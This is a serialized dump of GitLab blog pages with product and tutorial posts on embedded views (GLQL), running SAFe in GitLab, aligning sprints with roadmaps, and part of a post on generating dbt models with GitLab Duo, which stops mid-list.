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Blog",{"name":728},{"template":686,"slug":732,"hide":6},"devsecops","content:en-us:blog:categories:devsecops.yml","Devsecops","en-us/blog/categories/devsecops.yml","en-us/blog/categories/devsecops",{"_path":738,"_dir":680,"_draft":6,"_partial":6,"_locale":7,"seo":739,"content":742,"config":743,"_id":745,"_type":16,"title":740,"_source":17,"_file":746,"_stem":747,"_extension":20},"/en-us/blog/categories/engineering",{"title":740,"description":741},"Engineering","Browse articles related to Engineering on the GitLab Blog",{"name":740},{"template":686,"slug":744,"hide":6},"engineering","content:en-us:blog:categories:engineering.yml","en-us/blog/categories/engineering.yml","en-us/blog/categories/engineering",{"_path":749,"_dir":680,"_draft":6,"_partial":6,"_locale":7,"seo":750,"content":753,"config":754,"_id":756,"_type":16,"title":751,"_source":17,"_file":757,"_stem":758,"_extension":20},"/en-us/blog/categories/news",{"title":751,"description":752},"News","Browse articles related to News on the GitLab Blog",{"name":751},{"template":686,"slug":755,"hide":6},"news","content:en-us:blog:categories:news.yml","en-us/blog/categories/news.yml","en-us/blog/categories/news",{"_path":760,"_dir":680,"_draft":6,"_partial":6,"_locale":7,"seo":761,"content":764,"config":765,"_id":767,"_type":16,"title":762,"_source":17,"_file":768,"_stem":769,"_extension":20},"/en-us/blog/categories/open-source",{"title":762,"description":763},"Open Source","Browse articles related to Open Source on the GitLab Blog",{"name":762},{"template":686,"slug":766,"hide":6},"open-source","content:en-us:blog:categories:open-source.yml","en-us/blog/categories/open-source.yml","en-us/blog/categories/open-source",{"_path":771,"_dir":680,"_draft":6,"_partial":6,"_locale":7,"seo":772,"content":774,"config":775,"_id":777,"_type":16,"title":90,"_source":17,"_file":778,"_stem":779,"_extension":20},"/en-us/blog/categories/product",{"title":90,"description":773},"Browse articles related to Product on the GitLab Blog",{"name":90},{"template":686,"slug":776,"hide":6},"product","content:en-us:blog:categories:product.yml","en-us/blog/categories/product.yml","en-us/blog/categories/product",{"_path":781,"_dir":680,"_draft":6,"_partial":6,"_locale":7,"seo":782,"content":784,"config":785,"_id":787,"_type":16,"title":125,"_source":17,"_file":788,"_stem":789,"_extension":20},"/en-us/blog/categories/security",{"title":125,"description":783},"Browse articles related to Security on the GitLab Blog",{"name":125},{"template":686,"slug":786,"hide":6},"security","content:en-us:blog:categories:security.yml","en-us/blog/categories/security.yml","en-us/blog/categories/security",[791,835,873,910,951,993,1031,1069,1107,1138],{"category":682,"slug":687,"posts":792},[793,810,824],{"content":794,"config":807},{"title":795,"description":796,"authors":797,"date":801,"body":802,"category":687,"tags":803,"heroImage":806},"Embedded views: The future of work tracking in GitLab","Learn how embedded views, powered by GitLab Query Language, help GitLab teams work more efficiently, make data-driven decisions, and maintain visibility across complex workflows.",[798,799,800],"Matthew Macfarlane","Himanshu Kapoor","Alex Fracazo","2025-08-21","Ever find yourself switching between tabs in GitLab just to keep track of\nwhat’s happening in your project? Maybe you’re checking on an issue, then\njumping to a merge request, then over to an epic to see how everything\nconnects. Before you know it, you’ve got a browser full of tabs and you’ve\nlost your train of thought.\n\nIf that sounds familiar, you’re definitely not alone. So many teams waste time and energy flipping through various items in their project management software, just trying to get a handle on their work.\n\nThat's why we created [embedded views](https://docs.gitlab.com/user/glql/#embedded-views), powered by [GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/). With embedded views, [available in 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/), you get live, relevant information right where you’re already working in GitLab. No more endless context switching. No more outdated reports. Just the info you need, right when you need it.\n\n## Why embedded views matter\n\nEmbedded views are more than just a new feature, they're a fundamental shift in how teams understand and track their work within GitLab. With embedded views, teams can maintain context while accessing real-time information, creating shared understanding, and improving collaboration without ever leaving their current workflow. It’s about making work tracking feel natural and effortless, so you can focus on what matters.\n\n## How it works: Real-time data right where you need it the most\n\nEmbedded views let you insert live GLQL queries in Markdown code blocks throughout wiki pages, epics, issues, and merge requests. Here's what makes them so useful:\n\n### Always up to date\n\nGLQL queries are dynamic, pulling fresh data each time the page loads, so your embedded views always reflect the current state of your work, not the state when you embedded the view. When changes happen to issues, merge requests, or milestones, a page refresh will show those updates in your embedded view.\n\n### Contextual awareness\n\nUse functions like `currentUser()` and `today()` to make queries context-specific. Your embedded views automatically adapt to show relevant information for whoever is viewing them, creating personalized experiences without manual configuration.\n\n### Powerful filtering\n\nFilter by fields like assignee, author, label, milestone, health status, creation date, and more. Use logical expressions to get exactly the data you want. We support more than 30 fields as of 18.3.\n\n### Customizable display\n\nYou can display your data as a table, a list, or a numbered list. Choose which fields to show, set a limit on the number of items, and specify the sort order to keep your view focused and actionable.\n\n### Availability\n\nYou can use embedded views in group and project wikis, epic and issue descriptions, merge requests, and comments. GLQL is available across all GitLab tiers: Free, Premium, and Ultimate, on GitLab.com, GitLab Self-Managed, and GitLab Dedicated. Certain functionality, such as displaying epics, status, custom fields, iterations, and weights, is available in the Premium and Ultimate tiers. Displaying health status is available only in Ultimate.\n\n## See embedded views in action\n\nThe syntax of an embedded view's source is a superset of YAML that consists of:\n\n* The `query` parameter: Expressions joined together with a logical operator, such as `and`.\n* Parameters related to the presentation layer, like `display`, `limit`, or `fields`, `title`, and `description`\n  represented as YAML.\n\nA view is defined in Markdown as a code block, similar to other code blocks like Mermaid.\n\nFor example:\n\n> Display a table of first 5 open issues assigned to the authenticated user in `gitlab-org/gitlab`.\n> Display columns `title`, `state`, `health`, `description`, `epic`, `milestone`, `weight`, and `updated`.\n\n````yaml\n```glql\ndisplay: table\ntitle: GLQL table 🎉\ndescription: This view lists my open issues\nfields: title, state, health, epic, milestone, weight, updated\nlimit: 5\nquery: project = \"gitlab-org/gitlab\" AND assignee = currentUser() AND state = opened\n```\n````\n\nThis source should render a table like the one below:\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png)\n\nAn easy way to create your first embedded view is to navigate to the **More options** dropdown in the rich text editor toolbar. Once in this toolbar, select **Embedded view**, which populates the following query in a Markdown code block:\n\n````yaml\n```glql\nquery: assignee = currentUser()\nfields: title, createdAt, milestone, assignee\ntitle: Issues assigned to current user\n```\n````\n\nSave your changes to the comment or description where the code block appears, and you're done! You've successfully created your first embedded view!\n\n## How GitLab uses embedded views\n\nWhether tracking merge requests targeting security releases, triaging bugs to improve backlog hygiene, or managing team onboarding and milestone planning, we rely on embedded views for mission-critical processes every day. This isn't just a feature we built, it's a tool we depend on to run our business effectively. When you adopt embedded views, you're getting a tested solution that's already helping GitLab teams work more efficiently, make data-driven decisions, and maintain visibility across complex workflows. Simply stated, embedded views can transform how your team accesses and analyzes the work that matters most to your success.\n\nTo learn and see more about how GitLab is using embedded views internally, check out [How GitLab measures Red Team impact: The adoption rate metric](https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/), and Global Search Release Planning issues for the [18.1](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239), [18.2](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241), and [18.3](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245) milestones.\n\n## What's next\n\nEmbedded views are just the start of [Knowledge Group's](https://about.gitlab.com/direction/plan/knowledge/) vision for work tracking. Learn more about what we're focusing on next in the [embedded views post-GA epic](https://gitlab.com/groups/gitlab-org/-/epics/15249). As embedded views evolve we're committed to making them even more powerful and [accessible](https://gitlab.com/gitlab-org/gitlab/-/issues/548722).\n\n## Share your experience\n\nShare your feedback in the [embedded views GA feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509792) or via the [embedded views GA survey](https://gitlab.fra1.qualtrics.com/jfe/form/SV_6PFhgZMBA06kr7E). Whether you've discovered innovative use cases, encountered challenges, or have ideas for improvements, we want to hear from you.\n",[804,496,805],"agile","workflow","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png",{"featured":6,"template":808,"slug":809},"BlogPost","embedded-views-the-future-of-work-tracking-in-gitlab",{"content":811,"config":822},{"title":812,"description":813,"authors":814,"heroImage":816,"date":817,"body":818,"category":687,"tags":819},"SAFe without silos in GitLab","Learn how to map the Scaled Agile Framework to the native capabilities of the DevSecOps platform and the advantages that come from doing so.",[815],"Amanda Rueda","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","2025-04-08","Let's talk about what happens when your organization adopts the Scaled Agile Framework (SAFe) to scale to enterprise levels. You've got multiple teams working on complex products, and you need a way to coordinate all that work. But here's a common headache: Your planning happens in one tool, while your actual development work lives somewhere else entirely.\n\nThis divide creates real problems day-to-day. Developers jump between systems constantly. Product managers struggle to get an accurate picture of progress. And everyone wastes time manually copying information from one place to another. It's precisely the kind of disjointed experience that SAFe was designed to eliminate.\n\nWhile your development teams might already be using GitLab for source code management, CI/CD, and security, you may wonder whether GitLab can also support your planning needs within the SAFe framework. The good news is that GitLab's Agile project management capabilities offer strong support for SAFe, in this article, you'll learn how GitLab maps to SAFe concepts and ceremonies, all within the same DevSecOps platform your software developers already know and love.\n\n## What is SAFe?\n\nSAFe, or the Scaled Agile Framework, is a way to bring Agile principles to large organizations without losing speed, alignment, or customer focus. It takes the iterative and flexible teamwork model of small teams and applies its principles across big organizations that have multiple teams, roadmaps, and stakeholders. This brings the organization into alignment, all planning and executing in the same direction. For product managers, SAFe helps connect strategy to execution so you’re not just shipping fast, you’re shipping the right things, backed by clear priorities and cross-team alignment.\n\nSAFe reduces silos, encourages collaboration, and helps teams rally around customer outcomes, not just tasks. When integrated in GitLab, the magic really happens: visibility, traceability, and delivery all live in one place.\n\n## SAFe terminology in GitLab\n\nFirst, let's establish how SAFe concepts map to GitLab:\n\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | Top-level Epic |\n| Capability | Sub-epic (Level 1) |\n| Feature | Sub-epic (Level 2) |\n| User Story | Issue |\n| Task | Task |\n| Team | Custom Field / Scoped Label |\n| Sprint | Iteration |\n| Program Increment (PI) | Milestone |\n| Value Stream | Top-level Group |\n| Agile Release Train (ART) | Top-level Group |\n\n\u003Cbr>\u003C/br>\n\nWith this mapping as your guide, you can set up GitLab to mirror your SAFe implementation. The group structure lets you organize around your value streams and ARTs, while the work item hierarchy (with up to seven levels of nested epics!) gives you all the depth you need for complex product portfolios. Whether you're working at the portfolio level (with top-level groups), program level (with subgroups), or team level (with projects), GitLab's organizational structure aligns perfectly with SAFe's hierarchy.\n\n## Supporting SAFe ceremonies in GitLab\n\nNow for the fun part - how do you actually run your SAFe ceremonies in GitLab? Let's walk through each one.\n\n### PI planning\n\nTo facilitate the cross-team alignment and dependency management that makes PI planning successful, GitLab offers several capabilities:\n\n* Use the [Roadmap](https://docs.gitlab.com/user/group/roadmap/) view to visualize features across teams and time periods\n* Assign features to the PI [milestone](https://docs.gitlab.com/user/project/milestones/)\n* Document and visualize cross-team [dependencies](https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues) as they're identified\n\nGitLab gives you flexibility for PI planning through both the Epic boards (which can be configured to show team assignments) and the Roadmap view (which shows features over time like a Gantt chart). You can switch between these views during your planning session depending on whether you're focusing on the timeline or team organization.\n\n![Roadmap view and epic board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\n\u003Cbr>\u003C/br>\n\n![Roadmap view with Gantt chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n\n### Refinement\n\nAs a product manager, running effective refinement sessions means having clear visibility into your feature backlog. You can run your refinement session right inside GitLab. No more updating one tool during the meeting and then having to update another tool afterward.\n\nGitLab powers refinement sessions with:\n\n* [Epic boards](https://docs.gitlab.com/user/group/epics/epic_boards/) that group features based on status\n* The ability to view story points directly in the [overview](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic)\n* Comprehensive [drawer views](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer) that let you interact with work items without losing context\n* The ability to create and link [child issues](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic) directly from epics\n\n![SAFe - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n\n### Sprint planning\n\nWhen it's time to figure out what your team can tackle in the next sprint, GitLab gives you:\n\n* [Issue boards](https://docs.gitlab.com/user/project/issue_board/) that provide a comprehensive view of your backlog\n* [Total weight](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights) of user stories displayed directly on boards\n* The ability to easily move issues between iterations\n* A collapsible view that simplifies moving stories between sprints\n\nThis means you can keep everything in one place and spend your planning meetings actually planning instead of jumping between tools.\n\n![Sprint planning with GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n\n*💡 Check out [this tutorial on using GitLab to facilitate Scrum](https://docs.gitlab.com/tutorials/scrum_events/) for a detailed glimpse into the power of GitLab in Agile planning and sprint tracking.*\n\n### Daily stand-ups\n\nYour team can gather around the board during daily stand-ups and actually see what everyone's working on, what's stuck, and what's ready for review – all in one view. For your dev team's daily stand-ups, GitLab lets you:\n\n* Create [iteration-scoped](https://docs.gitlab.com/user/project/issue_board/#iteration-lists) boards that show the current sprint's work\n* Display story points/weights directly on cards\n* Use the [drawer view](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer) to access details without leaving the context\n* Highlight tasks at risk through [health status](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)\n\n![Daily stand-up board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n\n### Sprint review\n\nWant to know how your team is doing over time? GitLab provides comprehensive metrics with:\n\n* [Burndown and burnup charts](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts) for iterations\n* Velocity tracking\n* [Lead and cycle time](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics) metrics\n* Dashboards that can be scoped to teams\n\nThese metrics help you understand if your team is getting faster, where they're getting stuck, and what you might want to talk about in your next retrospective.\n\n![Burndown and burnup charts](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097576758.png)\n\n## 5 reasons a unified platform provides an advantage\n\nI know there are plenty of planning tools that can handle SAFe ceremonies. But there are game-changing reasons why I genuinely believe GitLab is different:\n\n1. **No more context switching** - Your planning, coding, testing, and security all happen in one place.\n2. **Everything's connected** - You can trace work from the big epic down to the code and deployment.\n3. **Everyone's on the same page** - Developers, product folks, and security teams all work together in the same tool.\n4. **Total visibility** - Stakeholders have one place to check for updates.\n5. **The full picture** - You see planning and development metrics together, so you know what's really going on.\n\nIf your dev teams already love GitLab, why make them jump to another tool for planning or create some complex, cobbled-together integrations? Bringing your SAFe planning into GitLab creates a much smoother experience for everyone.\n\n## Implementation principles\n\nI've worked with teams transitioning from traditional SAFe tools to GitLab, and here's what I've learned: Focus on **what each ceremony is trying to accomplish**, not on recreating exact replicas of your old tools.\n\nThe teams that get the most out of GitLab are the ones who embrace its native capabilities instead of fighting against them. Yes, it takes some initial work to figure out how to map your SAFe concepts and set up your workflows. But once you do, you'll find your processes actually get simpler rather than more complex.\n\nThe key is defining conventions that everyone follows. Which labels mean what? How will you track teams? What goes in an epic versus an issue? With a little upfront investment in these decisions, you'll end up with an intuitive system that eliminates all that cross-tool coordination overhead.\n\n## Getting started\n\nReady to give this a shot? Here's how to start implementing SAFe in GitLab:\n\n1. **Set up your structure** - Create groups and subgroups that [match your organization](https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/).\n2. **Define your work breakdown** - Decide how you'll use [epics](https://about.gitlab.com/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management/), [issues](https://docs.gitlab.com/user/project/issues/managing_issues/), and [tasks](https://docs.gitlab.com/user/tasks/).\n3. **Create your iterations** - Set up your [sprint schedule](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence).\n4. **Add your milestones** - [Milestones](https://docs.gitlab.com/user/project/milestones/#create-a-milestone) will represent your Program Increments in GitLab.\n5. **Build your boards** - Create different views for different ceremonies.\n6. **Agree on conventions** - Document how you'll use labels and custom fields.\n\nTaking time to think through these decisions upfront will save you many headaches later. And remember, you don't have to perfect it on day one - you can always adjust as you learn.\n\n## Bringing it all together\n\nGitLab gives you a solid foundation for running SAFe, especially if your dev teams are already GitLab fans. When you bring planning and development into the same tool, you eliminate those painful handoffs, make collaboration way easier, and get everything moving faster.\n\nThe beauty of GitLab's planning tools is that they're flexible enough to adapt to your specific flavor of SAFe. You're not locked into rigid workflows - you can evolve your approach as your teams mature and your needs change.\n\n> Ready to see how much better life is without those planning silos? [Start your free trial today](https://about.gitlab.com/free-trial/) and experience firsthand how GitLab can transform your SAFe implementation.\n\n*💡 If you liked this topic check out this related post - [GitLab for Agile Software Development](https://about.gitlab.com/blog/gitlab-for-agile-software-development/)*\n",[804,496,820,776,821],"features","tutorial",{"slug":823,"featured":91,"template":808},"safe-without-silos-in-gitlab",{"content":825,"config":833},{"title":826,"description":827,"authors":828,"heroImage":829,"date":830,"body":831,"category":687,"tags":832},"How to harmonize Agile sprints with product roadmaps","Apply best practices and GitLab features to your product journey, including creating centralized roadmaps, conducting review sessions, and tracking sprint lifecycles.",[815],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097231/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097230664.png","2025-02-04","Picture this: Product and Development teams are working in isolation. Product has created a 12-month roadmap and communicated it to internal stakeholders but didn't review it with their development team. Dev starts building the features planned for the upcoming sprint without considering the broader product roadmap, leading to missed opportunities to optimize timing, like running projects in parallel, accounting for team capacity, or building reusable APIs that could serve multiple initiatives. The lack of coordination results in inefficiencies and delayed value delivery.\n\nBalancing short-term wins with long-term vision isn’t easy; it requires clear communication, aligned priorities, and the right tools. In this guide, you'll learn strategies to help harmonize your Agile sprints with strategic roadmaps, tackle common challenges, and uncover actionable solutions tailored to your teams.\n\n## The importance of a single source of truth\n\nA consistent single source of truth for roadmaps with longer-range goals ensures you and your teams have access to up-to-date information about the bigger picture. In practice, this means maintaining a single, regularly updated platform where all roadmap details reside rather than keeping versions of the roadmap across multiple formats, each typically with slightly different information, causing a misaligned understanding of where you're headed.\n\n### Create a centralized roadmap\n\nBy creating a centralized roadmap for your team, you can:\n\n* communicate long-range strategy\n* minimize miscommunication\n* facilitate cross-functional alignment\n* quickly adapt to changes without losing context\n* self-serve information, reducing dependency on a single point of contact who retains the information\n\n***GitLab tip**: Use [epics](https://docs.gitlab.com/ee/user/group/epics/) and [Roadmap view](https://docs.gitlab.com/ee/user/group/roadmap/) to support both product planning and the transparent monitoring of delivery. The Roadmap view allows you to track progress, identify bottlenecks, and ensure alignment between high-level goals and sprint-level execution.*\n\n![Roadmap view for group](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097239117.png)\n\n## Collaborative roadmap review practices\n\nEstablish a regular review and sign-off process for roadmap updates that include Product, Engineering, and UX as part of the [product trio](https://www.producttalk.org/product-trio/). Collaborative reviews help you maintain alignment and minimize risk. At GitLab, I meet with my engineering manager and UX designer monthly to review and obtain sign-offs on any changes. We maintain a running sign-off on the roadmap wiki page itself that holds us accountable for keeping the schedule and provides transparency to the rest of the organization.\n\n#### How to extract value from review sessions\n\nTo make the most of the review session, aim for the following best practices:\n\n* Schedule routine reviews, monthly or quarterly, depending on how frequently the roadmap tends to fluctuate at your organization.\n* Validate alignment between product goals, UX lead time, and technical feasibility by discussing potential risks and dependencies upfront.\n  * Validate that the roadmap reflects current organizational business objectives.\n  * Ensure that design timelines are realistic and consider research or validation needs.\n  * Confirm that the roadmap allocates time for technical preparation, such as technical spikes or investigations, and ensures alignment with broader engineering priorities.\n* Optimize team utilization by considering capacity constraints and ensuring the sequence of work aligns with the team’s skill profile. This includes avoiding periods of underutilization or skill mismatches while effectively planning for situations like staffing level drops during holidays.\n* Right-size scope and set appropriate expectations about what can be achieved. We all want to do it all, but perfection is the enemy of progress so prioritize what truly matters to deliver incremental value efficiently. Seek opportunities to optimize by identifying ways to iterate or increase velocity, such as adjusting the order of work to reduce dependencies or leveraging reusable components to streamline development.\n* Encourage open dialogue about trade-offs and priorities to ensure all perspectives are considered. This collaborative approach helps identify creative solutions to challenges and builds consensus on the best path forward.\n\n***GitLab tip**: Use a [GitLab Wiki](https://docs.gitlab.com/ee/user/project/wiki/) page to complement the [Roadmap](https://docs.gitlab.com/ee/user/group/roadmap/) feature. In the wiki, you can include expanded context about your product roadmap, such as business rationale, links to user research, RICE scores, and details about dependencies or risks. Link directly to the roadmap for easy access, and leverage the upcoming discussion threads feature to encourage async collaboration and feedback from your team.*\n\n![PlanFlow product roadmap](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097239118.png)\n\n## Continuous direction validation and progress measurement\n\nThe goal of a product roadmap isn’t just to stay on track – it’s to deliver real value to your customers. To make space for sharing ongoing user feedback and behavioral data consider incorporating regular touchpoints across your product trio outside of sprint cycles. These sessions can be used to review insights, analyze trends, and ensure that the product roadmap continues to reflect the evolving needs of your users. By grounding roadmap updates using real user insights, you’re not only delivering on outcomes but also adapting to what really matters to your customers.\n\nThe value you ship might come in the form of improved usability, reduced technical debt, or entirely new capabilities. When the product trio is aligned on the roadmap vision, they’re also aligned on the outcomes you’re working to achieve.\n\nTo measure whether you’re on track to deliver those outcomes, you need to closely scope the intended results. Scope creep, like late user story additions, can delay your ability to ship value. Additionally, it’s important to identify work that was delivered but doesn’t align with the roadmap and understand why.\n\n### Sprint planning\n\nRemaining aligned with your product roadmap starts with thoughtful sprint planning. Here are some best practices to keep your team on track and focused on delivering value:\n\n* Clearly define, and narrowly scope, desired outcomes to ensure high confidence in delivery.\n* Identify potential late additions or adjustments that could delay delivery, and build in buffers to maintain focus.\n* Align on the sequence of work with your team to optimize for capacity, skill profiles, and reducing dependencies.\n* To maintain focus and improve confidence of delivering on time, avoid planning to 100% of the team’s capacity. Leave room (10%-20%) for unknowns or new discoveries that may surface during the sprint.\n\n### During the sprint\n\nStaying aligned with your roadmap during the sprint requires focus, communication, and constant evaluation. While delivering value is the goal, it’s equally important to ensure the work in progress aligns with the outcomes you’ve scoped and planned.\n\n* Continuously validate the work in progress against roadmap outcomes to ensure every sprint contributes to the bigger picture.\n* Encourage the team to regularly check if they’re still working toward the intended goals and outcomes.\n* Maintain open communication throughout the sprint. Use daily standups or async updates to surface risks, unplanned work, or dependencies early and adjust where necessary.\n* Be ruthless about protecting the sprint. While the urge to solve emerging problems is natural, unplanned work should be carefully evaluated to avoid derailing agreed-upon priorities.\n* Proactively manage scope creep. If new work surfaces mid-sprint, assess whether it aligns with the current roadmap outcome’s narrowly scoped focus. While additional ideas or features may align conceptually with the broader outcome, they may not fit into the immediate plan to deliver value as soon as possible. Document these suggestions and evaluate if they should be considered as part of future iterations or as a nice-to-have for the future, rather than introducing them into the current sprint and delaying agreed-upon priorities.\n\n### Sprint retros\n\nIn your sprint retrospectives, take time to reflect with your team on how well you are collectively progressing toward your desired outcomes. Questions to ask:\n\n* Did any unplanned work get introduced during the sprint that delayed your ability to deliver value? Identify why it happened and what adjustments can be made.\n* Did you deliver any work that deviated from the roadmap? Discuss what led to this and what you can learn for future planning.\n\nFrom sprint planning through retrospectives, staying focused on delivering tangible outcomes to users and stakeholders is a team responsibility. By aligning every step of the way, you ensure that your roadmap remains a clear guide for delivering value efficiently and consistently.\n\n***GitLab tip:** Use [burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html) to visualize progress and detect deviations early, helping your team stay focused on delivering outcomes.*\n\n![Burndown chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097239120.png)\n\n## Delivering roadmap outcomes with confidence\n\nHarmonizing Agile sprints with strategic roadmaps requires intentionality, team buy-in, and the proper tools. By creating a roadmap single source of truth, fostering collaborative reviews, and measuring progress towards outcomes, you can align execution with vision. With GitLab’s robust planning features, teams can turn challenges into opportunities for innovation and growth.\n\nReady to align your sprints with your strategic roadmap? [Start a free trial of GitLab](https://about.gitlab.com/free-trial/) today and explore the tools that can help you deliver outcomes with confidence.\n\n## Learn more\n\n- [Agile planning content hub](https://about.gitlab.com/blog/categories/agile-planning/)\n- [GitLab’s new Planner role for Agile planning teams](https://about.gitlab.com/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/)\n- [Get to know the GitLab Wiki for effective knowledge management](https://about.gitlab.com/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/)",[804,821,805,496],{"slug":834,"featured":91,"template":808},"how-to-harmonize-agile-sprints-with-product-roadmaps",{"category":694,"slug":698,"posts":836},[837,849,861],{"config":838,"content":840},{"slug":839,"featured":91,"template":808},"how-gitlab-duo-agent-platform-transforms-dataops",{"title":841,"description":842,"authors":843,"heroImage":845,"date":846,"category":698,"tags":847,"body":848},"How GitLab Duo Agent Platform transforms DataOps","Explore how to turn hours of manual coding into minutes of automated generation with this comprehensive dbt model creation walkthrough.",[844],"Dennis van Rooijen","blog/hero%20images/workflow_1800x945.png","2025-09-16",[776,821,820],"Creating dbt models manually is a tedious process that can consume hours of a data engineer's time. Especially when no (big) business transformations are made, it is not the most attractive part of an engineer's work with data.\n\nBut what if you could automate this entire process? In this walkthrough, I'll show you exactly how [GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo/agent-platform/) can generate comprehensive dbt models in just minutes, complete with proper structure, tests, and documentation.\n\n## What we're building\n\nOur marketing team wants to effectively manage and optimize advertising investments. One of the advertising platforms is Reddit, so, therefore, we are extracting data from the Reddit Ads API to our enterprise [Data Platform](https://handbook.gitlab.com/handbook/enterprise-data/platform/) Snowflake. At GitLab, we have three layers of storage:\n\n1. `raw` layer - first landing point for unprocessed data from external sources; not ready for business use\n2. `prep` layer - first transformation layer with source models; still not ready for general business use\n3. `prod` layer - final transformed data ready for business use and Tableau reporting\n\n![Chart of storage layers](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/zo7vespktzfdtdtiauz7.png)\n\nFor this walkthrough, data has already landed in the raw layer by our extraction solution Fivetran, and we'll generate dbt models that handle the data through the `prep` layer to the `prod` layer.\n\nWithout having to write a single line of dbt code ourselves, by the end of the walkthrough we will have:\n\n- **Source models** in the prep layer\n- **Workspace models** in the prod layer\n- **Complete dbt configurations** for all 13 tables (which includes 112 columns) in the Reddit Ads dataset\n- **Test queries** to validate the outcomes\n\nThe entire process will take less than 10 minutes, compared to the hours it would typically require manually. Here are the steps to follow:\n\n## 1. Prepare the data structure\n\nBefore GitLab Duo can generate our models, it needs to understand the complete table structure. The key is running a query against Snowflake's information schema, because we are currently investigating how to connect GitLab Duo via Model Context Protocol ([MCP](https://about.gitlab.com/topics/ai/model-context-protocol/)) to our Snowflake instance:\n\n```sql\nSELECT \n    table_name,\n    column_name,\n    data_type,\n    is_nullable,\n    CASE \n        WHEN is_nullable = 'NO' THEN 'PRIMARY_KEY'\n        ELSE NULL \n    END as key_type\nFROM raw.information_schema.columns\nWHERE table_schema = 'REDDIT_ADS'\nORDER BY table_name, ordinal_position;\n```\n\nThis query captures:\n\n- All table and column names\n- Data types for proper model structure\n- Nullable constraints\n- Primary key identification (non-nullable columns in this dataset)\n\n**Pro tip:** In the Reddit Ads dataset, all non-nullable columns serve as primary keys — a pattern. I validated by checking tables like `ad_group`, which has two non-nullable columns (`account_id` and `id`) that are both marked as primary keys. Running this query returned 112 rows of metadata that I exported as a CSV file for model generation. While this manual step works well today, we're investigating a direct GitLab Duo integration with our Data Platform via MCP to automate this process entirely.\n\n## 2. Set up GitLab Duo\n\nThere are two ways to interact with [GitLab Duo](https://docs.gitlab.com/user/get_started/getting_started_gitlab_duo/):\n\n1. **Web UI chat function**\n2. **Visual Studio Code plugin**\n\nI chose the VS Code plugin because I can run the dbt models locally to test them.\n\n## 3. Enter the 'magic' prompt\n\nHere's the exact prompt I used to generate all the dbt code:\n\n```yaml\nCreate dbt models for all the tables in the file structure.csv.\n\nI want to have the source models created, with a filter that dedupes the data based on the primary key. Create these in a new folder reddit_ads.\nI want to have workspace models created and store these in the workspace_marketing schema.\n\nTake this MR as example: [I've referenced to previous source implementation]. Here is the same done for Source A, but now it needs to be done for Reddit Ads. \n\nPlease check the dbt style guide when creating the code: https://handbook.gitlab.com/handbook/enterprise-data/platform/dbt-guide/\n```\n\nKey elements that made this prompt effective:\n\n- **Clear specifications** for both source and workspace models.\n- **Reference example** from a previous similar merge request.\n- **Style guide reference** to ensure code quality and consistency.\n- **Specific schema targeting** for proper organization.\n\n## 4. GitLab Duo's process\n\nAfter submitting the prompt, GitLab Duo got to work. The entire generation process took a few minutes, during which GitLab Duo:\n\n1. **Read and analyzed** the CSV input file.\n2. **Examined table structures** from the metadata.\n3. **Referenced our dbt style guide** for coding standards.\n4. **Took similar merge request into account** to properly structure.\n5. **Generated source models** for all 13 tables.\n6. **Created workspace models** for all 13 tables.\n7. **Generated supporting dbt files**:\n   